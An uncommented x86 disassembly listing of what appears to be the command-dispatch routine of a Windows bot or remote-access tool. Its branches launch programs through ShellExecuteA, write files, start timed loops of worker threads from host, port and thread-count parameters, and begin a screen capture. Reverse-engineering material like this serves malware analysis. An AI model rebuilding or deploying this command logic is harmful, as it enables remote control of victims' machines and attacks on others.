mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x86a4]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x86a4]
lea ecx, [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0045839c
lea eax, [ebp - 0x86a8]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x86a8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x86ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x86ac]
mov edx, 0x496bd8
call fcn.00404f38
jne 0x494b00
xor eax, eax
push ebp
push 0x494a28
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov edx, dword [eax]
call dword [edx + 0x58]
lea ecx, [ebp - 0x86b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x86b0]
call fcn.00409244
mov dword [0x4a6a9c], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x308]
mov eax, dword [ebp - 4]
call fcn.0049074c
test al, al
je 0x494a0e
xor eax, eax
push ebp
push 0x4949d4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x30]
mov edx, 0x4969a4
call fcn.00404bc4
lea eax, [ebp - 0x86b8]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x86b8]
lea ecx, [ebp - 0x86b4]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x86b4]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x86bc]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x86bc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x308]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494a06
mov eax, dword [ebp - 4]
call fcn.00499a54
lea ecx, [ebp - 0x18]
mov dx, 6
mov ax, 0x2e0
call fcn.0048e358
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494a4c
lea eax, [ebp - 0x30]
mov edx, 0x496908
call fcn.00404bc4
lea eax, [ebp - 0x86c4]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x86c4]
lea ecx, [ebp - 0x86c0]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
mov edx, dword [ebp - 0x86c0]
lea eax, [ebp - 0x30]
call fcn.00404bc4
lea eax, [ebp - 0x86c8]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x86c8]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea eax, [ebp - 0x86cc]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x86cc]
lea ecx, [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0045839c
lea eax, [ebp - 0x86d0]
mov ecx, 0x4968fc
mov edx, dword [ebp - 0x30]
call fcn.00404e38
mov edx, dword [ebp - 0x86d0]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2fc]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x86d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x86d4]
mov edx, 0x496be4
call fcn.00404f38
jne 0x494b90
xor eax, eax
push ebp
push 0x494b4c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0048f998
lea edx, [ebp - 0x30]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494b56
cmp dword [ebp - 0x30], 0
jne 0x494b69
lea eax, [ebp - 0x30]
mov edx, 0x496bf0
call fcn.00404bc4
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2fc]
mov ecx, 0x4969b0
mov eax, dword [ebp - 4]
call fcn.00490820
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x86d8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x86d8]
mov edx, 0x496bfc
call fcn.00404f38
lea ecx, [ebp - 0x86dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x86dc]
mov edx, 0x496c08
call fcn.00404f38
jne 0x494f37
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a0814]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496c0c
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x494d2e
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a06ac]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496c10
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x494d02
xor eax, eax
push ebp
push 0x494cf8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x87e8]
mov edx, dword [0x4a042c]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x87e8]
call fcn.00409244
lea edx, [ebp - 0x87e4]
call fcn.00459248
push dword [ebp - 0x87e4]
lea eax, [ebp - 0x87ec]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
push dword [ebp - 0x87ec]
lea eax, [ebp - 0x87f0]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
mov dl, byte [edx]
call fcn.00404d14
push dword [ebp - 0x87f0]
lea eax, [ebp - 0x87e0]
mov edx, 3
call fcn.00404eac
mov edx, dword [ebp - 0x87e0]
lea eax, [ebp - 0x8350]
call fcn.00402f24
lea eax, [ebp - 0x8350]
call fcn.00402cc0
call fcn.00402894
lea eax, [ebp - 0x8350]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494d02
xor eax, eax
push ebp
push 0x494d24
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a6a38]
call fcn.00403d58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494d2e
xor eax, eax
push ebp
push 0x494daa
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x87f8]
mov edx, dword [0x4a0310]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x87f8]
call fcn.00409244
lea edx, [ebp - 0x87f4]
call fcn.00459248
lea eax, [ebp - 0x87f4]
push eax
lea eax, [ebp - 0x87fc]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x87fc]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x87f4]
xor edx, edx
call fcn.00409784
mov eax, dword [ebp - 4]
call fcn.00499688
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494db4
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a0684]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496c10
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x494e1e
xor eax, eax
push ebp
push 0x494e14
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8800]
mov edx, dword [0x4a0134]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8800]
call fcn.0045c9e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494e1e
xor eax, eax
push ebp
push 0x494e90
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8808]
mov edx, dword [0x4a0310]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8808]
call fcn.00409244
lea edx, [ebp - 0x8804]
call fcn.00459248
lea eax, [ebp - 0x8804]
push eax
lea ecx, [ebp - 0x880c]
mov dx, 0xa
mov ax, 0x2ec
call fcn.0048e358
mov edx, dword [ebp - 0x880c]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x8804]
call fcn.004098a0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494e9a
lea eax, [ebp - 0x87dc]
mov edx, dword [0x4a0814]
mov edx, dword [edx]
call fcn.00403858
lea eax, [ebp - 0x87dc]
mov edx, 0x496c10
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031fc
jne 0x494ec9
call fcn.00458914
lea eax, [ebp - 0x8814]
mov edx, dword [0x4a0310]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x8814]
call fcn.00409244
lea edx, [ebp - 0x8810]
call fcn.00459248
lea eax, [ebp - 0x8810]
push eax
lea eax, [ebp - 0x8818]
mov edx, dword [0x4a06f0]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8818]
pop eax
call fcn.00404df4
mov eax, dword [ebp - 0x8810]
call fcn.004098a0
xor eax, eax
call fcn.00404a90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x881c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x881c]
mov edx, 0x496c1c
call fcn.00404f38
jne 0x494ff5
xor eax, eax
push ebp
push 0x494feb
push dword fs:[eax]
mov dword fs:[eax], esp
push 5
push 0
lea ecx, [ebp - 0x8820]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8820]
call fcn.00404fec
push eax
lea ecx, [ebp - 0x8824]
mov dx, 8
mov ax, 0x2fa
call fcn.0048e358
mov eax, dword [ebp - 0x8824]
call fcn.00404fec
push eax
lea ecx, [ebp - 0x8828]
mov dx, 4
mov ax, 0x2f6
call fcn.0048e358
mov eax, dword [ebp - 0x8828]
call fcn.00404fec
push eax
mov eax, dword [ebp - 4]
call fcn.0043b798
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494ff5
lea ecx, [ebp - 0x882c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x882c]
mov edx, 0x496c28
call fcn.00404f38
jne 0x495065
xor edx, edx
push ebp
push 0x49505b
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x8830]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x8830]
mov dl, 1
mov eax, dword [0x48c4f8]
call fcn.0048c580
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495065
lea ecx, [ebp - 0x8834]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8834]
mov edx, 0x496c34
call fcn.00404f38
jne 0x49516f
xor eax, eax
push ebp
push 0x495158
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x883c]
mov edx, dword [0x4a0310]
mov edx, dword [edx]
call fcn.00404d24
mov eax, dword [ebp - 0x883c]
call fcn.00409244
lea edx, [ebp - 0x8838]
call fcn.00459248
lea eax, [ebp - 0x8838]
push eax
lea ecx, [ebp - 0x8840]
mov dx, 0xa
mov ax, 0x302
call fcn.0048e358
mov edx, dword [ebp - 0x8840]
pop eax
call fcn.00404df4
mov edx, dword [ebp - 0x8838]
lea eax, [ebp - 0x8350]
call fcn.00402f24
lea eax, [ebp - 0x8350]
call fcn.00402cc0
call fcn.00402894
lea ecx, [ebp - 0x8844]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8844]
lea eax, [ebp - 0x8350]
call fcn.00405208
call fcn.00403810
call fcn.00402894
lea eax, [ebp - 0x8350]
call fcn.004030c8
call fcn.00402894
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495162
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8848]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8848]
mov edx, 0x496c40
call fcn.00404f38
jne 0x49535c
xor eax, eax
push ebp
push 0x4951e7
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0048f998
lea edx, [ebp - 0x2c]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
cmp dword [ebp - 0x2c], 0
jne 0x4951cd
lea ecx, [ebp - 0x2c]
mov dx, 6
mov ax, 0x30c
call fcn.0048e358
jmp 0x4951dd
lea ecx, [ebp - 0x2c]
mov dx, 6
mov ax, 0x312
call fcn.0048e358
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4951f1
xor eax, eax
push ebp
push 0x495345
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8850]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8850]
lea edx, [ebp - 0x884c]
call fcn.00408d54
mov eax, dword [ebp - 0x884c]
push eax
lea edx, [ebp - 0x8854]
mov eax, dword [ebp - 0x2c]
call fcn.00408d54
mov edx, dword [ebp - 0x8854]
pop eax
call fcn.00405130
test eax, eax
jle 0x49533b
lea eax, [ebp - 0x885c]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x885c]
lea ecx, [ebp - 0x8858]
mov eax, 0x496920
call fcn.0045839c
lea eax, [ebp - 0x8858]
mov edx, 0x4968fc
call fcn.00404df4
mov edx, dword [ebp - 0x8858]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov ecx, dword [eax]
call dword [ecx + 0x78]
lea ecx, [ebp - 0x8860]
mov dx, 4
mov ax, 0x318
call fcn.0048e358
push dword [ebp - 0x8860]
lea edx, [ebp - 0x8864]
mov eax, dword [0x4a6a0c]
call fcn.004090d8
push dword [ebp - 0x8864]
lea ecx, [ebp - 0x8868]
mov dx, 5
mov ax, 0x31c
call fcn.0048e358
push dword [ebp - 0x8868]
lea eax, [ebp - 0x30]
mov edx, 3
call fcn.00404eac
lea eax, [ebp - 0x8870]
mov edx, dword [0x4a013c]
mov edx, dword [edx]
call fcn.00404d24
mov edx, dword [ebp - 0x8870]
lea ecx, [ebp - 0x886c]
mov eax, dword [ebp - 0x30]
call fcn.0045839c
lea eax, [ebp - 0x886c]
mov edx, 0x4968fc
call fcn.00404df4
mov edx, dword [ebp - 0x886c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x300]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49534f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8874]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8874]
mov edx, 0x496c4c
call fcn.00404f38
jne 0x4953e1
xor eax, eax
push ebp
push 0x4953c0
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8878]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8878]
call fcn.00409244
mov dword [0x4a6a54], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4953d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x887c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x887c]
mov edx, 0x496c58
call fcn.00404f38
jne 0x49544a
xor eax, eax
push ebp
push 0x495433
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a6a50], 0
je 0x495429
mov eax, dword [0x4a6a40]
call fcn.0041c07c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49543d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x8880]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8880]
mov edx, 0x496c64
call fcn.00404f38
jne 0x4955ca
xor eax, eax
push ebp
push 0x4955b3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
xor edx, edx
call fcn.0042becc
lea ecx, [ebp - 0x8884]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8884]
mov eax, dword [0x4a03f4]
call fcn.00404b80
lea ecx, [ebp - 0x8888]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8888]
call fcn.00409244
mov edx, dword [0x4a06d0]
mov dword [edx], eax
lea ecx, [ebp - 0x888c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x888c]
mov eax, dword [0x4a07c0]
call fcn.00404b80
lea ecx, [ebp - 0x8890]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8890]
call fcn.00409244
mov edx, dword [0x4a0170]
mov dword [edx], eax
lea ecx, [ebp - 0x8894]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8894]
call fcn.00409244
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
call fcn.0042bedc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
mov dl, 1
call fcn.0042becc
lea ecx, [ebp - 0x8898]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8898]
call fcn.00409244
mov ebx, eax
test ebx, ebx
jl 0x4955a9
inc ebx
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48bd58]
call fcn.0041bc3c
dec ebx
jne 0x495598
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4955bd
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x889c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x889c]
mov edx, 0x496c70
call fcn.00404f38
jne 0x4956fb
xor eax, eax
push ebp
push 0x4956e4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
xor edx, edx
call fcn.0042becc
lea ecx, [ebp - 0x88a0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x88a0]
mov eax, dword [0x4a0494]
call fcn.00404b80
lea ecx, [ebp - 0x88a4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88a4]
call fcn.00409244
mov edx, dword [0x4a0288]
mov dword [edx], eax
lea ecx, [ebp - 0x88a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88a8]
call fcn.00409244
mov edx, dword [0x4a07d0]
mov dword [edx], eax
lea ecx, [ebp - 0x88ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88ac]
call fcn.00409244
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
call fcn.0042bedc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
mov dl, 1
call fcn.0042becc
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48bdb8]
call fcn.0041bc3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4956ee
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x88b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88b0]
mov edx, 0x496c7c
call fcn.00404f38
jne 0x49587e
xor eax, eax
push ebp
push 0x495867
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
xor edx, edx
call fcn.0042becc
lea ecx, [ebp - 0x88b4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x88b4]
mov eax, dword [0x4a0710]
call fcn.00404b80
lea ecx, [ebp - 0x88b8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88b8]
call fcn.00409244
mov edx, dword [0x4a0548]
mov dword [edx], eax
lea ecx, [ebp - 0x88bc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88bc]
call fcn.00409244
mov edx, dword [0x4a0450]
mov dword [edx], eax
lea ecx, [ebp - 0x88c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88c0]
call fcn.00409244
mov edx, dword [0x4a01f4]
mov dword [edx], eax
lea ecx, [ebp - 0x88c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88c4]
call fcn.00409244
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
call fcn.0042bedc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
mov dl, 1
call fcn.0042becc
lea ecx, [ebp - 0x88c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88c8]
call fcn.00409244
mov ebx, eax
test ebx, ebx
jl 0x49585d
inc ebx
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48be18]
call fcn.0041bc3c
dec ebx
jne 0x49584c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495871
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x88cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88cc]
mov edx, 0x496c88
call fcn.00404f38
jne 0x4959fe
xor eax, eax
push ebp
push 0x4959e7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
xor edx, edx
call fcn.0042becc
lea ecx, [ebp - 0x88d0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x88d0]
mov eax, dword [0x4a01e8]
call fcn.00404b80
lea ecx, [ebp - 0x88d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88d4]
call fcn.00409244
mov edx, dword [0x4a06ec]
mov dword [edx], eax
lea ecx, [ebp - 0x88d8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x88d8]
mov eax, dword [0x4a02a0]
call fcn.00404b80
lea ecx, [ebp - 0x88dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88dc]
call fcn.00409244
mov edx, dword [0x4a0538]
mov dword [edx], eax
lea ecx, [ebp - 0x88e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88e0]
call fcn.00409244
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
call fcn.0042bedc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x310]
mov dl, 1
call fcn.0042becc
lea ecx, [ebp - 0x88e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88e4]
call fcn.00409244
mov ebx, eax
test ebx, ebx
jl 0x4959dd
inc ebx
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48be78]
call fcn.0041bc3c
dec ebx
jne 0x4959cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4959f1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x88e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88e8]
mov edx, 0x496c94
call fcn.00404f38
jne 0x495add
xor eax, eax
push ebp
push 0x495ac6
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x88ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88ec]
push eax
lea ecx, [ebp - 0x88f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88f0]
call fcn.00409244
push eax
lea ecx, [ebp - 0x88f4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88f4]
call fcn.00409244
push eax
lea ecx, [ebp - 0x88f8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x88f8]
mov dl, 1
mov eax, dword [0x48b86c]
call fcn.0048b8ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495ad0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496823
lea ecx, [ebp - 0x88fc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x88fc]
mov edx, 0x496ca0
call fcn.00404f38
jne 0x495c7a
xor eax, eax
push ebp
push 0x495c63
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x495c52
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x41e554]
call fcn.00420478
mov dword [ebp - 0x38], eax
push 0
call sub.user32.dll_GetDC
mov edx, eax
mov eax, dword [ebp - 0x38]
call fcn.00420b34
push 1
mov eax, dword [ebp - 0x38]
call fcn.00420ab4
push eax
